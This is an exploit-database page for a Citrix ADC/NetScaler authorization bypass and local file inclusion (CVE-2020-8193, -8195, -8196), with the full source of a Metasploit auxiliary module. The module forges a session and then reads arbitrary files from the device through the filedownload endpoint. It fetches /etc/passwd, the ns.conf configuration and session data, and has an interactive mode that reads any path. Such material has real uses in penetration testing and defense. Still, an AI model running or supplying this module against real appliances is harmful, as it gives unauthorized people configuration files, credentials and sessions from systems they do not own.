header-logo
Suggest Exploit
vendor:
ADC NetScaler
by:
Donny Maasland, mekhalleh (RAMELLA Sébastien)
4.3
CVSS
MEDIUM
Local File Inclusion
CWE
Product Name: ADC NetScaler
Affected Version From:
Affected Version To:
Patch Exists: NO
Related CWE: CVE-2020-8193, CVE-2020-8195, CVE-2020-8196
CPE:
Other Scripts:
Tags: cve,cve2020,citrix,lfi,kev,packetstorm
CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Nuclei Metadata: {'max-request': 6, 'vendor': 'citrix', 'product': 'application_delivery_controller_firmware'}
Platforms Tested:
2020

Citrix ADC NetScaler – Local File Inclusion (Metasploit)

The remote device is affected by multiple vulnerabilities. An authorization bypass vulnerability exists in Citrix ADC and NetScaler Gateway devices. An unauthenticated remote attacker with access to the NSIP/management interface can exploit this to bypass authorization (CVE-2020-8193). And Information disclosure (CVE-2020-8195 and CVE-2020-8196) - but at this time unclear which.

Mitigation:

Unknown
Source

Exploit-DB raw data:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Citrix ADC NetScaler - Local File Inclusion (Metasploit)',
      'Description'    => %{
        The remote device is affected by multiple vulnerabilities.

        An authorization bypass vulnerability exists in Citrix ADC and NetScaler Gateway devices.
        An unauthenticated remote attacker with access to the `NSIP/management interface` can exploit
        this to bypass authorization (CVE-2020-8193).

        And Information disclosure (CVE-2020-8195 and CVE-2020-8196) - but at this time unclear which.
      },
      'Author'         => [
        'Donny Maasland', # Discovery
        'mekhalleh (RAMELLA Sébastien)' # Module author (Zeop Entreprise)
      ],
      'References'     => [
        ['CVE', '2020-8193'],
        ['CVE', '2020-8195'],
        ['CVE', '2020-8196'],
        ['URL', 'https://dmaasland.github.io/posts/citrix.html'],
        ['URL', 'https://research.nccgroup.com/2020/07/10/rift-citrix-adc-vulnerabilities-cve-2020-8193-cve-2020-8195-and-cve-2020-8196-intelligence/amp/'],
        ['URL', 'https://github.com/jas502n/CVE-2020-8193']
      ],
      'DisclosureDate' => '2020-07-09',
      'License'        => MSF_LICENSE,
      'DefaultOptions' => {
        'RPORT' => 443,
        'SSL' => true
      }
    ))

    register_options([
      OptEnum.new('MODE', [true, 'Start type.', 'discovery', [ 'discovery', 'interactive', 'sessions']]),
      OptString.new('PATH', [false, 'File or directory you want to read', '/nsconfig/ns.conf']),
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def create_session
    params = 'type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1'

    request = {
      'method' => 'POST',
      'uri' => "#{normalize_uri(target_uri.path, 'pcidss', 'report')}?#{params}",
      'ctype' => 'application/xml',
      'headers' => {
        'X-NITRO-USER' => Rex::Text.rand_text_alpha(6..8),
        'X-NITRO-PASS' => Rex::Text.rand_text_alpha(6..8)
      },
      'data' => '<appfwprofile><login></login></appfwprofile>'
    }
    request = request.merge({'cookie' => @cookie}) if @cookie

    response = send_request_raw(request)
    unless response && response.code == 406
      print_error("#{@message_prefix} - No response to session request.")
      return
    end

    response.get_cookies
  end

  def fix_session_rand
    response = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'menu', 'ss'),
      'cookie' => @cookie,
      'vars_get' => {
        'sid' => 'nsroot',
        'username' => 'nsroot',
        'force_setup' => '1'
      }
    )

    if response && response.code == 302
      location = response.headers['location']

      response = send_request_cgi(
        'method' => 'GET',
        'uri' => location,
        'cookie' => @cookie
      )

      return unless response && response.code == 200
    end

    response.to_s.scan(/rand = "([^"]+)"/).join
  end

  def read_lfi(path, var_rand)
    params = "filter=path:#{path}"

    request = {
      'method' => 'POST',
      'uri' => "#{normalize_uri(target_uri.path, 'rapi', 'filedownload')}?#{params}",
      'cookie' => @cookie,
      'ctype' => 'application/xml',
      'headers' => {
        'X-NITRO-USER' => Rex::Text.rand_text_alpha(6..8),
        'X-NITRO-PASS' => Rex::Text.rand_text_alpha(6..8),
        'rand_key' => var_rand
      },
      'data' => '<clipermission></clipermission>'
    }

    response = send_request_raw(request)
  end

  def run_host(ip)
    proto = (datastore['SSL'] ? 'https' : 'http')
    @message_prefix = "#{proto}://#{ip}:#{datastore['RPORT']}"

    @cookie = create_session
    if @cookie && @cookie =~ /SESSID/
      print_status("#{@message_prefix} - Got session: #{@cookie.split(' ')[0]}")

      var_rand = fix_session_rand
      unless var_rand
        print_error("#{@message_prefix} - Unable to get rand value.")
        return Exploit::CheckCode::Unknown
      end
      print_status("#{@message_prefix} - Got rand: #{var_rand}")

      print_status("#{@message_prefix} - Re-breaking session...")
      create_session

      case datastore['MODE']
      when /discovery/
        response = read_lfi('/etc/passwd'.gsub('/', '%2F'), var_rand)
        if response.code == 406
          if response.body.include? ('root:*:0:0:')
            print_warning("#{@message_prefix} - Vulnerable.")

            return Exploit::CheckCode::Vulnerable
          end
        end
      when /interactive/
        # TODO: parse response
        response = read_lfi(datastore['PATH'].gsub('/', '%2F'), var_rand)
        if response.code == 406
          print_line("#{response.body}")
        end

        return
      when /sessions/
        # TODO: parse response
        response = read_lfi('/var/nstmp'.gsub('/', '%2F'), var_rand)
        if response.code == 406
          print_line("#{response.body}")
        end

        return
      end
    end
    print_good("#{@message_prefix} - Not Vulnerable.")

    return Exploit::CheckCode::Safe
  end

end